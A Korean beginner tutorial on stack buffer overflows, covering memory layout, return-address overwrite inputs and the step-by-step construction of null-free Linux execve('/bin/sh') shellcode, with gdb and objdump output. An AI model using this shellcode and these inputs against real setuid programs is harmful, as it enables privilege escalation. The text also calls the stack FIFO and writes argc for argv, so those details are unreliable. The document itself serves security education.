===========================================================================================================
시작하며...
이 문서는 BOF의 개념과 간단한 실습으로 이루어져 있으며,
BOF를 처음 접하는 사람을 대상으로 작성되었습니다.
GNU정신에 따라 작성자 표기시 자유로운 복제 및 편집이 가능합니다.
Written by EeS at @egis
----------------------------------------------------------------------------------------------------------- 목차
A. B.O.F 란?
B. 메모리 구조
C. B.O.F 원리
D. 쉘코드 만들기
E. B.O.F 실습
F. EGG SHELL?
G. 마치며
-----------------------------------------------------------------------------------------------------------
A. B.O.F란?
B.O.F는 Buffer OverFlow 의 약자로 Buffer를 넘치게 하여, 스택을 수정하는
공격기법입니다.
Buffer는 Input/Output을 위해 데이터가 임시로 저장되는 장소이며, 스택과 힙
두 종류가 있습니다. 따라서 Buffer OverFlow attack 도 Stack Overflow 와
Heap Overflow 두 종류가 있지만 일반적으로 BOF라 하면 Stack Overflow 를
의미하므로, 이 문서에서도 BOF는 Stack Overflow를 의미합니다.
Buffer에 예상보다 큰 정보를 입력하게 되면, Buffer가 넘쳐서(Overflow) 다른
데이터를 덮게 됩니다. 이를 통해 특정 위치에 자신이 원하는 데이터를 넣는것이
BOF기법입니다.
///////참고. Stack 이란?///////////////////////////////////////////////////////
스택(Stack)은 먼저 들어온 자료가 먼저 나가는 자료구조 입니다. 스택의 구조는
쌓여있는 책을 생각하시면 됩니다. 책이 쌓여있을 때 중간에 있는 책을 뺄 수 없다면,
맨 위에 있는 책(즉 가장 마지막에 쌓은 책) 부터 꺼내야 합니다. 스택은 이와 같이
나중에 들어온 데이터가 먼저 나가게 되므로 FIFO (First In Fisrt Out) 라고 합니다.
///////////////////////////////////////////////////////////////////////////////
B. 메모리 구조
컴퓨터가 Process를 실행시킬 때, 컴퓨터는 각 Process마다 가상의 메모리 공간을
부여합니다. 따라서 각 Process는 다른 Process를 침범하지 않는 독자적인 메모리
공간을 가질 수 있습니다.
메모리 공간은 TEXT, DATA, HEAP, STACK 으로 이루어져 있으며, TEXT 에는 Process
의 내용이 저장되며, DATA에는 전역변수와, String 값들이 저장됩니다.
HEAP에는 동적으로 생성되는 내용들이 저장되고, STACK에는 지역변수 들이 저장됩니다.
메모리 구조는 아래와 같습니다.
============================== 메모리의 높은 주소
=
= STACK
=
=▽-▽-▽-▽-▽-▽-▽-▽-▽-▽ 아래로(낮은 주소로) 성장한다.
= 즉 새로 추가되는 데이터의 시작 주소값이 더 작다.
=
=
=△-△-△-△-△-△-△-△-△-△ 위로(높은주소로) 성장한다.
= 즉 새로 추가되는 데이터의 시작 주소값이 더 크다.
= HEAP
=
=-----------------------------
=
= DATA
=
=-----------------------------
=
= TEXT
=
=============================== 메모리의 낮은 주소
위 그림에서 알수있듯 스택은 데이터가 추가될수록 낮은 주소로 성장합니다. 이는
BOF가 이뤄지는 이유가 됩니다.
보통 Process내의 함수가 실행될 때 스택의 구조는 아래와 같습니다.
============================== 메모리의 높은 주소
= 인자 값 a
= b
= - - - - - - - - - - - - - - - - -
= RET
= - - - - - - - - - - - - - - - - -
= SFP
= - - - - - - - - - - - - - - - - -
=
= 지역변수
=
=▽-▽-▽-▽-▽-▽-▽-▽-▽-▽ 메모리의 낮은 주소
a와 b는
int test(int a, int b)
란 함수가 있을 때 인자값으로 받는 a와 b 입니다.
인자를 받지 않을 경우 없을 수 도 있고, 여러개일 경우 더 많을수도 있습니다.
RET는 Return Addr 를 의미합니다.
해당 함수가 종료된 이후 RET에 저장된 위치로 돌아가게 됩니다.
SFP는 Stack Frame Ponier 의 약자이며, 스택의 현재 위치를 저장합니다.
위 그림에서 각 데이터는 32bit 기준으로 4byte 를 한 줄로 표기하였다.
지역변수에 새로운 내용이 추가될 때, Stack 은 메모리를 4Byte 기준으로 나누고
싶어한다. 따라서 추가되는 내용이 4Byte 이하이거나, 4로 나눠지지 않을 경우,
빈 공간을 추가해서 다음 추가되는 데이터가 4Byte 단위로 위치하도록 한다.
EX)
8-------------------------------------
| char a|빈공간 |빈공간 |빈공간 |
4-------------------------------------
| int b |
0-------------------------------------
(좌측에 있는 숫자는 주소를 의미한다.)
앞으로는 편의를 위해 가로로 나열한 모양으로 표기하도록 하겠다.
EX) [| int b | char a | SFP | RET | a | b |]
C. B.O.F 원리
BOF는 앞서 말했듯, Buffer에 예상보다 큰 정보를 입력하여, 특정 위치에 자신이
원하는 데이터를 넣는 기법입니다. BOF가 가능한 이유는 앞서 말했듯, 스택은 높은
주소에서 낮은 주소로 성장하기 때문입니다. 아래와 같은 구조에서
---------------------------------
| int a |
---------------------------------
| b[3] |
- - - - - - - - -
| b[2] |
- int b[4] - - - - - -
| b[1] |
- - - - - - - - -
| b[0] |
---------------------------------
위 그림에서 b[4]에 16Byte 보다 큰 정보를 입력할 경우 16byte를 초과하는 데이터는
int a 가 위치하는 부분에 입력되게 됩니다. 즉 &b[4] == &a 입니다.
이 그림을 가로로 나열하면
b[0] b[1] b[2] b[3] a
[| | | | | |]
입니다.
b에 16Byte 크기만큼 'A'문자를 입력했을 때 상태는
b[0] b[1] b[2] b[3] a
[| AAAA | AAAA | AAAA | AAAA | 0000 |]
입니다.
b에 17Byte 크기만큼 'A'문자를 입력한다면
b[0] b[1] b[2] b[3] a
[| AAAA | AAAA | AAAA | AAAA | A000 |]
가 됩니다.
int a 와 int b[4]를 맴버 변수로 갖는 함수 test(int x, int y) 의 스택 구조라면
b[0] b[1] b[2] b[3] a SFP RET x y
[| | | | | | | | | |]
High Low
와 같이 이루어져 있습니다.
이 때 RET에 저장되는 값을 바꾼다면, 해당 함수가 종료된 후, 바뀐 RET 값으로 이동
하게 됩니다. 이를 위해서는 RET 까지 거리 (b[4] + a + SFP = 24Byte) 만큼 데이터
를 입력하고 이후 이동을 원하는 주소를 입력하면 됩니다.
즉 0xffffffff 란 주소로 이동하고 싶다면, "aaaaaaaaaaaaaaaaaaaaaaaa"+0xffffffff
를 입력값으로 준다면 스택이 아래와 같이 채워집니다.
b[0] b[1] b[2] b[3] a SFP RET x y
[| aaaa | aaaa | aaaa | aaaa | aaaa | aaaa | 0xffffffff| | |]
High Low
리눅스에서 이와 같은 동작을 위해 주로 Python을 이용하게 됩니다.
./test `python -c 'print "a"*24+"\xff\xff\xff\xff"'`
과 같이 입력할 경우, argc 값에 "aaaaaaaaaaaaaaaaaaaaaaaa"+0xffffffff가 들어가게
됩니다.
만약 scanf등의 함수의 입력값으로 넣고싶다면,
python -c 'print "a"*24+"\xff\xff\xff\xff"' | ./test
와 같이 입력하면 됩니다.
즉 BOF의 과정은
1. 특정 위치에 실행하고싶은 코드를 작성합니다
2. RET을 해당 위치로 바꿔줍니다.
3. END
입니다.
보통 BOF는 setuid가 걸린 프로그램에서 쉘을 실행시키는게 목적이므로, 작성하는
코드는 쉘을 실행시키는 코드가 됩니다,
D. 쉘코드 만들기
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80
\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
위 문자열은 구글링을 통해 얻을수 있는 쉘코드 입니다.
쉘코드는 assembly명령어를 기계어로 바꾼 문자열 입니다. 이를 위해 disassemble
이 필요합니다.
쉘코드를 만들기 위해 처음부터 어셈블로 쉘을 실행시키는 코드를 짜도 되지만,
편의를 위해 c로 짠 바이너리를 disassemble 하여 어셈블리 코드를 얻도록 합니다.
쉘을 실행시키기 위한 c언어 코드는 아래와 같습니다.
#include<stdio.h>
int main()
{
char *str[2];
str[0] = "/bin/sh";
str[1] = NULL;
execve(str[0] , str, NULL);
}
이 코드를 gcc에 -static 옵션을 줘서 컴파일 하도록 합니다.
gcc -o shell shell.c -static
해당 코드를 gdb를 활용해 disassemble 하면, 아래와 같은 화면을 볼 수 있습니다.
[root@aegis shell]# gdb execl
(gdb) disas main
Dump of assembler code for function main:
0x080481d0 <main+0>: push %ebp
0x080481d1 <main+1>: mov %esp,%ebp
0x080481d3 <main+3>: sub $0x8,%esp
0x080481d6 <main+6>: and $0xfffffff0,%esp
0x080481d9 <main+9>: mov $0x0,%eax
0x080481de <main+14>: sub %eax,%esp
0x080481e0 <main+16>: movl $0x808ef88,0xfffffff8(%ebp)
0x080481e7 <main+23>: movl $0x0,0xfffffffc(%ebp)
0x080481ee <main+30>: sub $0x4,%esp
0x080481f1 <main+33>: push $0x0
0x080481f3 <main+35>: lea 0xfffffff8(%ebp),%eax
0x080481f6 <main+38>: push %eax
0x080481f7 <main+39>: pushl 0xfffffff8(%ebp)
0x080481fa <main+42>: call 0x804d9f0 <execve>
0x080481ff <main+47>: add $0x10,%esp
0x08048202 <main+50>: leave
0x08048203 <main+51>: ret
End of assembler dump.
(gdb)
main+42 부분에서 execve 로 넘어가므로, execve 함수도 disassemble 해보도록 합니다.
(gdb) disas execve
Dump of assembler code for function execve:
0x0804d9f0 <execve+0>: push %ebp
0x0804d9f1 <execve+1>: mov $0x0,%eax
0x0804d9f6 <execve+6>: mov %esp,%ebp
0x0804d9f8 <execve+8>: test %eax,%eax
0x0804d9fa <execve+10>: push %edi
0x0804d9fb <execve+11>: push %ebx
0x0804d9fc <execve+12>: mov 0x8(%ebp),%edi
0x0804d9ff <execve+15>: je 0x804da06 <execve+22>
0x0804da01 <execve+17>: call 0x0
0x0804da06 <execve+22>: mov 0xc(%ebp),%ecx
0x0804da09 <execve+25>: mov 0x10(%ebp),%edx
0x0804da0c <execve+28>: push %ebx
0x0804da0d <execve+29>: mov %edi,%ebx
0x0804da0f <execve+31>: mov $0xb,%eax
0x0804da14 <execve+36>: int $0x80
0x0804da16 <execve+38>: pop %ebx
0x0804da17 <execve+39>: cmp $0xfffff000,%eax
0x0804da1c <execve+44>: mov %eax,%ebx
0x0804da1e <execve+46>: ja 0x804da26 <execve+54>
0x0804da20 <execve+48>: mov %ebx,%eax
0x0804da22 <execve+50>: pop %ebx
0x0804da23 <execve+51>: pop %edi
0x0804da24 <execve+52>: leave
0x0804da25 <execve+53>: ret
0x0804da26 <execve+54>: neg %ebx
0x0804da28 <execve+56>: call 0x80485fc <__errno_location>
0x0804da2d <execve+61>: mov %ebx,(%eax)
0x0804da2f <execve+63>: mov $0xffffffff,%ebx
0x0804da34 <execve+68>: jmp 0x804da20 <execve+48>
0x0804da36 <execve+70>: nop
0x0804da37 <execve+71>: nop
End of assembler dump.
(gdb)
int $0x80 은 리눅스에서 Syscall 을 호출하는 인터럽트 입니다. 따라서 int $0x80에
브레이크 포인트를 설정하고 각 레지스터에 들어있는 값을 확인해 보도록 합니다.
(gdb) b *execve+36
Breakpoint 1 at 0x804da14
(gdb) run
Starting program: /root/shell/execl
Breakpoint 1, 0x0804da14 in execve ()
(gdb) info reg
eax 0xb 11
ecx 0xbfffece0 -1073746720
edx 0x0 0
ebx 0x808ef88 134803336
esp 0xbfffecbc 0xbfffecbc
ebp 0xbfffecc8 0xbfffecc8
esi 0x2d 45
edi 0x808ef88 134803336
eip 0x804da14 0x804da14
eflags 0x246 582
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x/x $eax
0xb: Cannot access memory at address 0xb
(gdb) x/s $ebx
0x808ef88 <_IO_stdin_used+4>: "/bin/sh"
(gdb) x/x $ecx
0xbfffece0: 0x0808ef88
(gdb) x/x $edx
0x0: Cannot access memory at address 0x0
(gdb)
즉, 각 레지스터에 저장되는 값은 아래와 같습니다.
%eax = 0xb ; execve 시스템 콜 번호
%ebx = str[0] ; "/bin/sh" 문자열 시작 주소
%ecx = str ; 배열 포인터의 시작 주소
%edx = 0 ; NULL
해당 바이너리의 어셈블리 코드를 얻기 위하여 gcc로 컴파일 합니다.
[root@aegis shell]# gcc -S execl.c
만들어진 코드는 아래와 같습니다.
.file "execl.c"
.section .rodata
.LC0:
.string "/bin/sh"
.text
.globl main
.type main,@function
main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
andl $-16, %esp
movl $0, %eax
subl %eax, %esp
movl $.LC0, -8(%ebp)
movl $0, -4(%ebp)
subl $4, %esp
pushl $0
leal -8(%ebp), %eax
pushl %eax
pushl -8(%ebp)
call execve
addl $16, %esp
leave
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) 3.2.2 20030222 (Red Hat Linux 3.2.2-5)"
해당 코드와 각 레지스터에 들어가는 값을 기반으로, 쉘코드를 작성합니다.
.global main
.LC0:
.string "/bin/sh"
main:
movl $.LC0, %ebx
push $0x0
push %ebx
movl %esp, %ecx
movl $0x0, %edx
movl $0xb, %eax
int $0x80
leave
ret
[root@ftz shell]# gcc execl.s
[root@ftz shell]# ./a.out
sh-2.05b#
작성된 코드는 정상 작동하지만, BOF공격엔 사용할수 없습니다.
우선 특정 위치에 "/bin/sh"문자열이 포함되있어야만 정상 작동을 하지만, BOF공격에
사용하기 위해, text부분만을 사용할 시 해당 문자열이 저장되어있지 않습니다.
이를 해결하기 위해 아래와 같이 코드를 변경합니다.
.global main
shell:
pop %ebx
push $0x0
push %ebx
movl %esp, %ecx
movl $0x0, %edx
movl $0xb, %eax
int $0x80
main:
call shell
.string "/bin/sh"
call을 사용시 다음 실행될 주소를 스택에 저장합니다.(RET) 따라서 call 다음 주소에
"/bin/sh/"를 넣어두면, "/bin/sh/"의 주소가 스택에 저장되어 해당 주소를 이용할 수
있습니다. 따라서 movl $.LC0, %ebx 이 pop %ebx 으로 변경되었습니다.
하지만, 아직 BOF에 사용할수 없습니다.
$0x0이 있기 때문입니다. 0x00은 문자열의 끝을 의미하므로 이대로 기계어로 바꾼 다음
입력하게 되면, 0x00에서 입력이 종료됩니다.
따라서 0x00을 제거하여야 합니다.
0x00을 제거하기 위해서 xor을 사용하여 특정 레지스터에 0을 저장한 다음 사용합니다.
이를 적용하면 코드가 아래와 같이 변경됩니다.
.global main
shell:
pop %ebx
xor %edx, %edx
push %edx
push %ebx
movl %esp, %ecx
movl $0xb, %eax
int $0x80
main:
call shell
.string "/bin/sh"
0x0을 사용하지 않았지만, $0xb가 0x0b000000 이므로, 00 이 여전히 존재합니다.
이를 해결하기 위해선 %eax를 0x00000000 으로 바꾼 다음 앞 부분만 0b로 바꿔주면
해결됩니다. 이를 위해 1byte 레지스터인 al을 사용합니다.
.global main
shell:
pop %ebx
xor %eax, %eax
xor %edx, %edx
push %eax
push %ebx
movl %esp, %ecx
mov $0xb, %al
int $0x80
main:
call shell
.string "/bin/sh"
이제 완성된 쉘코드를 기계어로 바꾸기 위해 objdump를 사용합니다.
[root@aegis shell]# objdump -d a.out
위 명령어를 입력하면, 해당 바이너리가 기계어로 분석됩니다. 우리는 그 중 main과
shell을 사용합니다.
080482f4 <shell>:
80482f4: 5b pop %ebx
80482f5: 31 c0 xor %eax,%eax
80482f7: 31 d2 xor %edx,%edx
80482f9: 50 push %eax
80482fa: 53 push %ebx
80482fb: 89 e1 mov %esp,%ecx
80482fd: b0 0b mov $0xb,%al
80482ff: cd 80 int $0x80
08048301 <main>:
8048301: e8 ee ff ff ff call 80482f4 <shell>
8048306: 2f das
8048307: 62 69 6e bound %ebp,0x6e(%ecx)
804830a: 2f das
804830b: 73 68 jae 8048375 <__do_global_ctors_aux+0x1>
완성된 쉘코드는
\x5b\x31\xc0\x31\xd2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff
\x2f\x62\x69\x6e\x2f\x73\x68
입니다.
char shellcode[] =
"\x5b\x31\xc0\x31\xd2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff
\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
위 코드를 통해 완성된 쉘코드가 정상 동작하는것을 확인해볼수 있습니다.